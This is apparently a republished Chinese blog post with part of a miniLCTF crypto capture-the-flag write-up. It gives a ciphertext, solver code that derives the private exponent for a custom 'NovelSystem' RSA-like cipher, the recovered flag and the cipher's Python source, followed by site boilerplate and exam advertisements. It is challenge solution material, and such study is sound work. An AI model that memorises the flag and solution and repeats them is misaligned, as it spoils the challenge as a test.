c = (99256707703226697226473841185259891785249728547098403329816239886722383460401685922071518907503131597586071155779535217957728713395973126772467862964939878117327514388525570332680833383088079421676354296281469250418264543833996288111463346112204924207384792233847819302304599120532752360882845527395569869907, 22655358796075424487044406387957775030913109276145369023351200306937368259451273503046617611110582153415768404632774105652118572620829335937285604752846386248015325031053581797994703852239663030464437053164169557845378554791579176562234005623449839772205446210182378591192462742536627314113540667791362602148)#跟NovelSystem稍有区别,这里可以算出phi求出d,解密方式和加密用同一函数phi = (p**2 + p + 1)*(q**2 + q + 1)d = invert(e,phi)m = special_power(c,d,N)flag = b''.join([long_to_bytes(v)[:24] for v in m])#miniLCTF{CoNt1nu4d_FrActiOn_1s_3o_E@s7_foR_y0u!}

附一下标准NovelSystem的加密函数

from gmpy2 import *#NovelSystem 加密算法class NovelSystem:    def __init__(self, p, q, e):        self.p = mpz(p)        self.q = mpz(q)        self.N = self.p * self.q        self.beta = 0.397        self.psi = (self.p ** 2 + self.p + 1) * (self.q ** 2 + self.q + 1)        self.e = mpz(e)        self.d = invert(mpz(self.e), mpz(self.psi))        self.r = 3        def add_(self, a, b):        m, n = a        k, l = b        if a[1] == 0:            a, b = b, a            m, n, k, l = k, l, m, n        if l == 0:            if n == 0:                return (m * k, m + k)            if (n + k) % self.N == 0:                if (m - n ** 2) % self.N == 0:                    return (0, 0)                return ((m * k + self.r) * invert(m - n * n) % self.N, 0)            return ((m * k + self.r) * invert(n + k, self.N) % self.N, (m + n * k) * invert(n + k, self.N) % self.N)        if (m + k + n * l) % self.N != 0:            return ((m * k + (n + l) * self.r) * invert(m + k + n * l, self.N) % self.N,                    (n * k + m * l + self.r) * invert(m + k + n * l, self.N) % self.N)                if (n * k + m * l + self.r) % self.N == 0:            return (0, 0)        return ((m * k + (n + l) * self.r) * invert(n * k + m * l + self.r, self.N) % self.N, 0)        def mul_(self, a, n):        ans = (0, 0)        while n > 0:            if n & 1 == 1:                ans = self.add_(ans, a)            a = self.add_(a, a)            n //= 2        return ans        def encrypt(self, m):        return self.mul_(m, self.e)        def decrypt(self, c):        return self.mul_(c, self.d)

最后还差一题ffi估计马上会到

来源地址:https://blog.csdn.net/weixin_52640415/article/details/130547942

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯